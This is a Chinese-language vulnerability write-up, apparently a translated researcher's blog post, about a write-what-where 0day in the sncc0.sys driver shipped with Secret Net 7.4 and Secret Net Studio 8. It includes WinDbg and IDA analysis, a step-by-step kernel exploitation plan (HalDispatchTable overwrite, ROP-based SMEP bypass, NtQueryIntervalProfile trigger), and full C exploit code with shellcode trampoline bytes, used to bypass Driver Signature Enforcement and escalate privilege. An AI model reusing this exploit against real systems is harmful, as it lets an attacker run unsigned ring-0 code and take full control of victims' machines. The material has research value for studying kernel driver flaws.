在实际应用的角度来看,绕过DSE并加载未签名驱动的技术是很有用的。要做到这一点,且不需要在操作系统本身上使用大量0day的方法 —— 从其他拥有有效数字签名的第三方产品中安装有漏洞的内核驱动程序,并利用其漏洞允许自己的ring0代码。在网上有几种工具使用此方法来绕过DSE —— DSEFix by EP_X0FF,它在VirtualBox中安装并利用了内核驱动程序。

我决定在某个内核驱动程序中找到自己的0day漏洞,并使用它来实现对libfwexpl的DSE绕过支持。我的目标为俄罗斯公司Код Безопасности (Security Code)的 Secret Net 7Secret Net Studio 8(beta版)。实际上这些产品的安全性并不好,但我发现它们在本地提取和DSE绕过方面非常有用。

从Security Code的Secret Net 7.4.577.0开始:

image-20230809163042807

该产品安装了大量的内核驱动程序:

Sn5CrPack.sys, SnFDC.sys, Sn5Crypto.sys, SnNetFlt.sys, SnCDFilter.sys, SnTmCardDrv.sys, SnDDD.sys, snCloneVault.sys, SnDeviceFilter.sys, sncc0.sys, SnDiskFilter.sys, sndacs.sys, SnEraser.sys, snmc5xx.sys, SnExeQuota.sys, snsdp.sys.

花了一些时间在内核调试器中监视这些驱动程序的IOCTL请求后,我决定检查一下sncc0.sys的IRP handlers代码,该代码加载为\Driver\sncc0并使用设备对象\Device\SNC0_Sys与用户模式进行通信。让我们来借助WinDbg来确定该驱动的IRP_MJ_DEVICE_CONTROL handler地址:

0: kd> !drvobj \Driver\sncc0
Driver object (ffffe001f616d240) is for:
\Driver\sncc0
Driver Extension List: (id , addr)

Device Object list:
ffffe001f6979510
0: kd> !devobj ffffe001f6979510
Device object (ffffe001f6979510) is for:
SNCC0_Sys \Driver\sncc0 DriverObject ffffe001f616d240
Current Irp 00000000 RefCount 0 Type 00000022 Flags 00000044
Dacl ffffc101421fde21 DevExt 00000000 DevObjExt ffffe001f6979660
ExtensionFlags (0x00000800) DOE_DEFAULT_SD_PRESENT
Characteristics (0000000000)
Device queue is not busy.
0: kd> dt _DRIVER_OBJECT ffffe001f616d240
nt!_DRIVER_OBJECT
+0x000 Type : 0n4
+0x002 Size : 0n336
+0x008 DeviceObject : 0xffffe001`f6979510 _DEVICE_OBJECT
+0x010 Flags : 0x12
+0x018 DriverStart : 0xfffff801`e438c000 Void
+0x020 DriverSize : 0x20000
+0x028 DriverSection : 0xffffe001`f625da70 Void
+0x030 DriverExtension : 0xffffe001`f616d390 _DRIVER_EXTENSION
+0x038 DriverName : _UNICODE_STRING "\Driver\sncc0"
+0x048 HardwareDatabase : 0xfffff803`c913f598 _UNICODE_STRING "\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM"
+0x050 FastIoDispatch : (null)
+0x058 DriverInit : 0xfffff801`e43a9000 long sncc0!DllUnload+0
+0x060 DriverStartIo : (null)
+0x068 DriverUnload : 0xfffff801`e43916f0 void +0
+0x070 MajorFunction : [28] 0xfffff801`e4391150 long +0
0: kd> dps ffffe001f616d240+0x70 L1c
ffffe001`f616d2b0 fffff801`e4391150 sncc0+0x5150 # IRP_MJ_CREATE handler
ffffe001`f616d2b8 fffff803`c8b7bcf4 nt!IopInvalidDeviceRequest
ffffe001`f616d2c0 fffff801`e43910a0 sncc0+0x50a0 # IRP_MJ_CLOSE handler
...
ffffe001`f616d320 fffff801`e4391210 sncc0+0x5210 # IRP_MJ_DEVICE_CONTROL handler
...

然后用IDA加载该驱动文件,并分析sncc0 + 0x5210函数的作用:

__int64 __fastcall sub_180005210(__int64 DeviceObject, struct _IRP *Irp)
{
__int64 v2; // rdx@5
__int64 v3; // r8@5
__int64 v4; // r9@5
unsigned int Status; // [sp+20h] [bp-38h]@1
int v7; // [sp+24h] [bp-34h]@1
unsigned int OutSize; // [sp+28h] [bp-30h]@1
ULONG InSize; // [sp+2Ch] [bp-2Ch]@1
ULONG v10; // [sp+30h] [bp-28h]@1
ULONG Code; // [sp+34h] [bp-24h]@1
void *Buffer; // [sp+38h] [bp-20h]@1
IO_STACK_LOCATION *Stack; // [sp+40h] [bp-18h]@1
struct _IRP *Irp_; // [sp+68h] [bp+10h]@1

Irp_ = Irp;
Irp->IoStatus.Information = 0i64;
Status = 0xC0000002;

// get IOCTL request information (control code, user buffer, etc.)
Stack = sub_180005780(Irp);
Buffer = Irp_->AssociatedIrp.SystemBuffer;
InSize = Stack->Parameters.DeviceIoControl.InputBufferLength;
OutSize = Stack->Parameters.DeviceIoControl.OutputBufferLength;
Code = Stack->Parameters.DeviceIoControl.IoControlCode;
v7 = 0;

// process different kinds of IOCTL requests
switch (Code)
{
// ... skipped ...

case 0x220010u:

if (InSize >= 0x60)
{
//
// Call of some function that accepts user buffer with
// >= 60 bytes of length as input.
//
Status = sub_180009D50(Buffer);
}
else
{
Status = 0xC00000E8;
}

break;

// ... skipped ...

default:

break;
}

if (Status)
{
if (Status == 0x80000005)
{
// return OutSize bytes of data back to the caller
Irp_->IoStatus.Information = OutSize;
}
}
else
{
Irp_->IoStatus.Information = (unsigned int)v7;
}

// complete IOCTL request
Irp_->IoStatus.Status = Status;
IofCompleteRequest(Irp_, 0);

return Status;
}

经过逆向分析后,我发现0x20010(使用 buffered I/O method 来处理传递给NtDeviceIoControlFile()系统调用的用户模式缓冲区)的IOCTL执行了有漏洞的函数sub_180009D50(),攻击者可以向该函数传入可控的IOCTL输入缓冲区指针(位于non-paged内核池中)作为参数。sub_180009D50()使用输入缓冲区作为结构体,其字段指向第二个结构体。第二个结构体被传递给sub_180004A70(),但没有任何内核内存覆盖的边界检查和验证(write-what-where条件)。

__int64 __fastcall sub_180009D50(void *Buffer)
{
//
// 从IOCTL输入缓冲区开头读取一些data缓冲区地址
// 并将其传递给其他函数(复制攻击者控制的数据到该地址)
//
return sub_180004A70(
*(void **)Buffer, // <= !!!
*((_DWORD *)Buffer + 0x16),
*((_DWORD *)Buffer + 0x17),
(char *)Buffer + 0x60
);
}

__int64 __fastcall sub_180004A70(void *a1, int a2, unsigned int a3, void *a4)
{
//
// 该函数所有输入参数都被攻击者通过制定的IOCTL请求进行控制
//
__int64 Status; // rax@2

if (a1)
{
if (*((_DWORD *)a1 + 6) == 0xC00000B5)
{
Status = 0xC0000120i64;
}
else
{
//
// Vulnerability is here:
//
// 经典的"write-what-where"条件,该条件允许攻击者使用被控制的数据覆盖任意内核内存
//
*((_DWORD *)a1 + 6) = a2;
**((_DWORD **)a1 + 2) = a3;

if (!a2 && a3 <= *(_DWORD *)a1)
{
qmemcpy(*((void **)a1 + 1), a4, a3);
}

KeSetEvent((PRKEVENT)((char *)a1 + 32), 0, 0);
Status = 0i64;
}
}
else
{
Status = 0xC000000Di64;
}

return Status;
}

另一个产品Secret Net Studio 8也有此漏洞,因为它们共享同一个的驱动程序。

即使在最新的Windows版本上,write-what-where内核漏洞的利用步骤还是很细的,下面是实现该漏洞利用的一种流行方式:

  1. 作为覆盖目标,攻击者使用HAL_DISPATCH_TABLE内核结构体构成的HalQuerySystemInformation字段(指向HAL函数),该字段可作为导出内核符号nt!HalDispatchTable进行访问。
  2. 作为覆盖HalQuerySystemInformation 字段的值,攻击者使用位于某些内核模块的可执行节内的ROP gadget MOV CR4EAX/RET的地址。这个ROP gadget对禁用CR4寄存器的SMEP flag(它禁止使用内核权限执行用户模式内存) 将执行转移到执行提权,加载未签名的内核驱动或执行其他ring0代码的用户模式shellcode而言是必需的。
  3. 攻击者调用NtQueryIntervalProfile()系统调用来触发执行被覆盖的HAL函数指针。
  4. 执行完shellcode后,攻击者需要将CR4寄存器恢复成原始值——因为一旦它被修改,PatchGuard就会导致系统崩溃。

我将整个DSE绕过的代码整理为一个独立库libdsebypass,该库位于libfwexpl源代码树中。下面是其主要利用代码:

//
// 向驱动发送IOCTL请求的常量
//
#define EXPL_BUFF_SIZE 0x60
#define EXPL_CONTROL_CODE 0x220010
#define EXPL_DEVICE_PATH "\\\\.\\Global\\SNCC0_Sys"

// exploit global variables
static PHAL_DISPATCH m_HalDispatchTable = NULL;
static func_ExAllocatePool f_ExAllocatePool = NULL;
static PVOID m_Rop_Mov_Cr4 = NULL;
static BOOL m_bExplOk = FALSE;

// external ring0 payload information
static KERNEL_EXPL_HANDLER m_Handler = NULL;
static PVOID m_HandlerContext = NULL;
//--------------------------------------------------------------------------------------
void WINAPI _r0_proc_continue(void)
{
if (m_HalDispatchTable && f_ExAllocatePool)
{

#if defined(_AMD64_)

#define TEMP_CODE_LEN 6

char TempCode[] =
"\xB8\x01\x00\x00\xC0" // mov eax, 0xC00000001
"\xC3"; // retn
#endif

/*
还原在利用期间被覆盖的HAL_DISPATCH::HalQuerySystemInformation指针
由于hal!HalQuerySystemInformation()不可导出,因此很难找到它的原始地址。
所以我们需要将其替换为在非分页内存池中分配的伪代码
*/
if (m_HalDispatchTable->HalQuerySystemInformation = f_ExAllocatePool(NonPagedPool, TEMP_CODE_LEN))
{
memcpy(m_HalDispatchTable->HalQuerySystemInformation, TempCode, TEMP_CODE_LEN);
}
}

if (m_Handler)
{
// 调用外部ring0 payload handler (如果有)
m_Handler(m_HandlerContext);
}

m_bExplOk = TRUE;
}
//--------------------------------------------------------------------------------------
/*
在插入原始hal!HalQuerySystemInformation()的过程中会调用此函数,因为该地址在
nt!HalDispatchTable内核结构体中已经使用了"write-what-where"漏洞进行覆盖
*/
NTSTATUS WINAPI _r0_proc_HalQuerySystemInformation(
ULONG InformationClass,
ULONG BufferSize,
PVOID Buffer,
PULONG ReturnedLength)
{
// execute exploitation payload
_r0_proc_continue();

return 0;
}
//--------------------------------------------------------------------------------------
BOOL expl_SNCC0_Sys_220010(KERNEL_EXPL_HANDLER Handler, PVOID HandlerContext)
{
BOOL bUseRop = FALSE;

m_Handler = Handler;
m_HandlerContext = HandlerContext;

OSVERSIONINFOA Version;
Version.dwOSVersionInfoSize = sizeof(OSVERSIONINFOA);

// get NT verson information
if (GetVersionExA(&Version))
{
if (Version.dwPlatformId == VER_PLATFORM_WIN32_NT)
{
printf("NT version is %d.%d.%d\n", Version.dwMajorVersion,
Version.dwMinorVersion, Version.dwBuildNumber);

// 确定是否需要使用 ROP 来绕过 SMEP
if ((Version.dwMajorVersion == 6 && Version.dwMinorVersion == 2) ||
(Version.dwMajorVersion == 6 && Version.dwMinorVersion == 3) ||
(Version.dwMajorVersion == 10 && Version.dwMinorVersion == 0))
{
bUseRop = TRUE;
}
}
else
{
goto end;
}
}
else
{
goto end;
}

// get real address of nt!ExAllocatePool()
f_ExAllocatePool = (func_ExAllocatePool)KernelGetProcAddr("ExAllocatePool");
if (f_ExAllocatePool == NULL)
{
goto end;
}

// get real address of nt!HalDispatchTable
m_HalDispatchTable = (PHAL_DISPATCH)KernelGetProcAddr("HalDispatchTable");
if (m_HalDispatchTable == NULL)
{
goto end;
}

printf("nt!ExAllocatePool() is at "IFMT"\n", f_ExAllocatePool);
printf("nt!HalDispatchTable is at "IFMT"\n", m_HalDispatchTable);

LARGE_INTEGER Val;
PVOID Trampoline = NULL;
DWORD_PTR Addr = PAGE_SIZE;

if (bUseRop)
{
// 在内核可执行image中找到MOV CR4,RAX gadget的RVA
if (!RopGadgetInit())
{
goto end;
}

Val.QuadPart = (DWORD64)m_Rop_Mov_Cr4;

/*
由于ROP的限制,我们需要在4GB以下的虚拟内存空间分配shellcode跳转点
*/
while (true)
{
if (Trampoline = VirtualAlloc(Addr, PAGE_SIZE,
MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE))
{
printf("Shellcode trampoline is allocated at "IFMT"\n", Trampoline);
break;
}
else if (Addr >= 0x7fff0000)
{
// unable to allocate memory
goto end;
}
else
{
// try next address
Addr += PAGE_SIZE;
}
}

// PUSH RAX
*(PUCHAR)(Trampoline) = 0x50;

// MOV RAX, _r0_proc_continue
*(PWORD)((DWORD_PTR)Trampoline + 1) = 0xb848;
*(PDWORD_PTR)((DWORD_PTR)Trampoline + 0x03) = (DWORD_PTR)&_r0_proc_continue;

// CALL RAX ; calls _r0_proc_continue()
*(PWORD)((DWORD_PTR)Trampoline + 0x0b) = 0xd0ff;

// POP RAX
*(PUCHAR)((DWORD_PTR)Trampoline + 0x0d) = 0x58;

// ADD RSP, 20h ; restore proper stack pointer value
*(PDWORD)((DWORD_PTR)Trampoline + 0x0e) = 0x20c48348;

// RET ; return back to the nt!NtQueryntervalProfile()
*(PUCHAR)((DWORD_PTR)Trampoline + 0x12) = 0xc3;
}
else
{
Val.QuadPart = (DWORD64)&_r0_proc_HalQuerySystemInformation;
}

printf("Opengin device \"%s\"...\n", EXPL_DEVICE_PATH);

// 获取目标设备的handle
HANDLE hDev = CreateFile(_T(EXPL_DEVICE_PATH), GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, 0, NULL);

if (hDev == INVALID_HANDLE_VALUE)
{
goto end;
}

DWORD ns = 0, dwCode = EXPL_CONTROL_CODE;
IO_STATUS_BLOCK StatusBlock;
UCHAR Buff[EXPL_BUFF_SIZE];

printf("Buff = "IFMT"\n", &Buff);

#define SEND_IOCTL(_code_, _ib_, _il_, _ob_, _ol_) \
\
ns = NtDeviceIoControlFile( \
hDev, NULL, NULL, NULL, &StatusBlock, (_code_), \
(PVOID)(_ib_), (DWORD)(_il_), \
(PVOID)(_ob_), (DWORD)(_ol_) \
); \
\
printf( \
"IOCTL 0x%.8x: status = 0x%.8x, info = 0x%.8x\n", \
(_code_), ns, StatusBlock.Information \
);

#ifdef _AMD64_

/*
用其他参数值填充IOCTL输入缓冲区,这些参数值会在有漏洞的IOCTL handler中处理
*/
ZeroMemory(Buff, sizeof(Buff));

*(PDWORD64)&Buff[0x00] = (DWORD64)m_HalDispatchTable - 0x10;
*(PDWORD)&Buff[0x58] = Val.LowPart;
*(PDWORD)&Buff[0x5c] = 0;

// 调用有漏洞的驱动程序,并覆盖HAL_DISPATCH::HalQuerySystemInformation指针
SEND_IOCTL(dwCode, (PVOID)&Buff, sizeof(Buff), (PVOID)&Buff, sizeof(Buff));

*(PDWORD64)&Buff[0x00] += sizeof(DWORD);
*(PDWORD)&Buff[0x58] = Val.HighPart;

// 覆盖64位指针的第二个双字
SEND_IOCTL(dwCode, (PVOID)&Buff, sizeof(Buff), (PVOID)&Buff, sizeof(Buff));

#endif

if (bUseRop)
{
/*
Use SMEP bypass.
*/
DWORD FeaturesEcx = 0, FeaturesEdx = 0, FeaturesEbx = 0;
DWORD ExtFeaturesEcx = 0, ExtFeaturesEdx = 0, ExtFeaturesEbx = 0;

// 获取CPU功能位和扩展功能位
GetCPUIDFeatureBits(0x00000001, &FeaturesEcx, &FeaturesEdx, &FeaturesEbx);
GetCPUIDFeatureBits(0x00000007, &ExtFeaturesEcx, &ExtFeaturesEdx, &ExtFeaturesEbx);

printf("CPUID: EAX = 0x00000001, EDX = 0x%.8x, ECX = 0x%.8x\n",
FeaturesEdx, FeaturesEcx);

printf("CPUID: EAX = 0x00000007, EBX = 0x%.8x, ECX = 0x%.8x\n",
ExtFeaturesEbx, ExtFeaturesEcx);

DWORD InfoSize = 0;
SYSTEM_PROCESSOR_INFORMATION ProcessorInfo;
ProcessorInfo.ProcessorFeatureBits = 0;

ns = NtQuerySystemInformation(
SystemProcessorInformation, &ProcessorInfo, sizeof(ProcessorInfo), &InfoSize);

if (NT_SUCCESS(ns))
{
printf("ProcessorFeatureBits is 0x%.8x\n", ProcessorInfo.ProcessorFeatureBits);
}

/*
计算当前CR4寄存器实际的值,在MOV CR4, EAX gadget中使用该值禁用SMEP
*/
DWORD Cr4Value = CR4_VME | CR4_DE | CR4_PAE | CR4_MCE | CR4_FXSR | CR4_XMMEXCPT;

if (FeaturesEcx & CPUID_OSXSAVE)
{
// XSAVE and processor extended states - enable bit
Cr4Value |= CR4_OSXSAVE;
}

if (FeaturesEcx & CPUID_VMX)
{
// Virtual Machine eXtensions are supported
Cr4Value |= CR4_VMXE;
}

if (ExtFeaturesEbx & CPUID_FSGSBASE)
{
// RDFSBASE/RDGSBASE/etc. instructions are supported
Cr4Value |= CR4_FSGSBASE;
}

if (ProcessorInfo.ProcessorFeatureBits & KF_LARGE_PAGE)
{
// Page Size Extensions are supported
Cr4Value |= CR4_PSE;
}

if (ProcessorInfo.ProcessorFeatureBits & KF_GLOBAL_PAGE)
{
// Page Global Enabled
Cr4Value |= CR4_PGE;
}

printf("New CR4 value is 0x%.8x\n", Cr4Value);

// run current thread only on first CPU
SetThreadAffinityMask(GetCurrentThread(), 1);

/*
NtQueryIntervalProfile() calls nt!KeQueryIntervalProfile() that calls
overwritten HAL_DISPATCH::HalQuerySystemInformation pointer.
*/
DWORD_PTR Source = (DWORD_PTR)Trampoline;
NtQueryIntervalProfile(Source, &Cr4Value);
}
else
{
/*
Don't use SMEP bypass on Windows 7 and older systems.
*/
DWORD Interval = 0;
NtQueryIntervalProfile(ProfileTotalIssues, &Interval);
}

end:

if (Trampoline)
{
VirtualFree(Trampoline, 0, MEM_RELEASE);
}

if (hDev)
{
CloseHandle(hDev);
}

if (m_bExplOk)
{
printf(__FUNCTION__"(): Exploitation success\n");
}
else
{
printf(__FUNCTION__"() ERROR: Exploitation fails\n");
}

return m_bExplOk;
}

另外,我在fwexpl_app中添加了--dse-bypass选项,以提供加载未签名内核驱动程序支持:

如上所述,在利用内核驱动程序漏洞后,需要重新启用SMEP。为此,我在libfwexpl驱动程序中编写了以下由exp加载的代码:

// ... skipped ...

switch (Code)
{
case IOCTL_DRV_CONTROL:
{
switch (Buff->Code)
{
// ... skipped ...

#ifdef USE_DSE_BYPASS

case DRV_CTL_RESTORE_CR4:
{
// get bitmask of active processors
KAFFINITY ActiveProcessors = KeQueryActiveProcessors();
ULONG cr4_val = 0, cr4_current = 0;

// enumerate active processors starting from 2-nd
for (KAFFINITY i = 1; i < sizeof(KAFFINITY) * 8; i++)
{
KAFFINITY Mask = 1 << i;

if (ActiveProcessors & Mask)
{
// bind thread to specific processor
KeSetSystemAffinityThread(Mask);

// read CR4 register value
cr4_val = _cr4_get();
break;
}
}

if (cr4_val != 0)
{
// bind thread to first processor
KeSetSystemAffinityThread(0x00000001);

// read CR4 register value
cr4_current = _cr4_get();

if (cr4_current != cr4_val)
{
// restore CR4 register value
_cr4_set(cr4_val);
}
else
{
DbgMsg(__FILE__, __LINE__, "CR4 is 0x%.8x\n", cr4_current);
}

ns = STATUS_SUCCESS;
}
else
{
DbgMsg(__FILE__, __LINE__, "ERROR: Unable to read CR4 value from 2-nd processor\n");
}

break;
}

#endif // USE_DSE_BYPASS

default:
{
break;
}
}

break;
}

default:
{
break;
}
}

// ... skipped ...

Secret Net 7.4和Secret Net Studio 8 0day漏洞的独立版本的本地提权可查看单独的GitHub项目